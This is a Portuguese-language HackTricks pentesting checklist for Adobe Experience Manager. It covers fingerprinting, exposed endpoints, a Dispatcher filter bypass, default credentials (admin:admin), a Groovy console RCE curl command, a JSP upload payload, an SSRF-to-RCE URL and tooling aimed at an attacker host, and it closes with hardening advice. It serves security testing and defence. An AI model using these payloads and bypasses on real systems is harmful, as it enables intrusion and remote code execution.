AEM (Adobe Experience Manager) Pentesting
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR). Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre.
A lista de verificação abaixo foca na superfície de ataque (unauth) acessível externamente que continua aparecendo em engajamentos reais (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Outros indicadores rápidos:
- O caminho estático
/etc.clientlibs/
presente (retorna JS/CSS). - A página de login em
/libs/granite/core/content/login.html
com o banner “Adobe Experience Manager”. - O comentário
</script><!--/* CQ */-->
no final do HTML.
2. Endpoints não autenticados de alto valor
Caminho | O que você obtém | Notas |
---|---|---|
/.json , /.1.json | Nós JCR via DefaultGetServlet | Frequentemente bloqueado, mas o Dispatcher bypass (veja abaixo) funciona. |
/bin/querybuilder.json?path=/ | API QueryBuilder | Vazamento da árvore de páginas, caminhos internos, nomes de usuários. |
/system/console/status-* , /system/console/bundles | Console OSGi/Felix | 403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote. |
/crx/packmgr/index.jsp | Gerenciador de Pacotes | Permite pacotes de conteúdo autenticados → upload de payload JSP. |
/etc/groovyconsole/** | Console Groovy AEM | Se exposto → execução arbitrária de Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Logs de auditoria | Divulgação de informações. |
/libs/cq/ui/content/dumplibs.html | Dump de ClientLibs | Vetor XSS. |
Truque de bypass do Dispatcher
A maioria dos sites de produção está atrás do Dispatcher (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida após um ponto e vírgula ou nova linha codificada:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】
3. Configurações incorretas comuns (ainda vivas em 2025)
- Servlet POST anônimo –
POST /.json
com:operation=import
permite que você crie novos nós JCR. Bloquear*.json
POST no Dispatcher resolve isso. 【】 - Perfis de usuário legíveis por todos – ACL padrão concede
jcr:read
em/home/users/**/profile/*
para todos. - Credenciais padrão –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter habilitado ⇒ XSS refletido via
?debug=layout
(CVE-2016-7882, ainda encontrado em instalações legadas 6.4). - Console Groovy exposto – execução remota de código ao enviar um script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Vulnerabilidades recentes (cadência de pacotes de serviço)
Trimestre | CVE | Afetado | Impacto |
---|---|---|---|
Dez 2024 | CVE-2024-43711 | 6.5.21 e anteriores | Validação de entrada inadequada → Execução de código arbitrário (requer autenticação de baixo privilégio). 【】 |
Dez 2024 | CVE-2024-43724/26 | 6.5.21 e anteriores | XSS DOM / Armazenado no Assistente de Mover Página. 【】 |
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS baseado em DOM via URL manipulada. 【】 |
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】 |
Sempre verifique o boletim APSB correspondente ao pacote de serviço do cliente e solicite o mais recente 6.5.22 ou Cloud Service 2024.11.
5. Trechos de exploração
5.1 RCE via bypass do dispatcher + upload de JSP
Se a gravação anônima for possível:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Agora solicite /content/evil.jsp
– o JSP é executado com o usuário do processo AEM.
5.2 SSRF para RCE (histórico < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
do aem-hacker automatiza toda a cadeia. 【】
6. Ferramentas
- aem-hacker – script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais.
python3 aem_hacker.py -u https://target --host attacker-ip
- Força bruta de Conteúdo – solicita recursivamente
/_jcr_content.(json|html)
para descobrir componentes ocultos. - osgi-infect – faça upload de um pacote OSGi malicioso via
/system/console/bundles
se as credenciais estiverem disponíveis.
7. Lista de verificação de endurecimento (para as recomendações do seu relatório)
- Mantenha a instância na última atualização cumulativa (a partir de jul 2025: 6.5.22).
- Remova/rotacione contas padrão; imponha SSO/SAML.
- Reforce os filtros do Dispatcher – negue
;
, novas linhas codificadas e*.json
ou*.querybuilder.json
para usuários anônimos. - Desative ou proteja consoles (
/system/console
,/crx/*
,/etc/groovyconsole
) com listas de permissão de IP. - Aplique o pacote Endurecimento de Permissão Anônima enviado pela Adobe.
Referências
- Adobe Security Bulletin APSB24-69 – “Atualizações de segurança para Adobe Experience Manager (dez 2024)”.
- 0ang3el – ferramenta aem-hacker (GitHub).
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.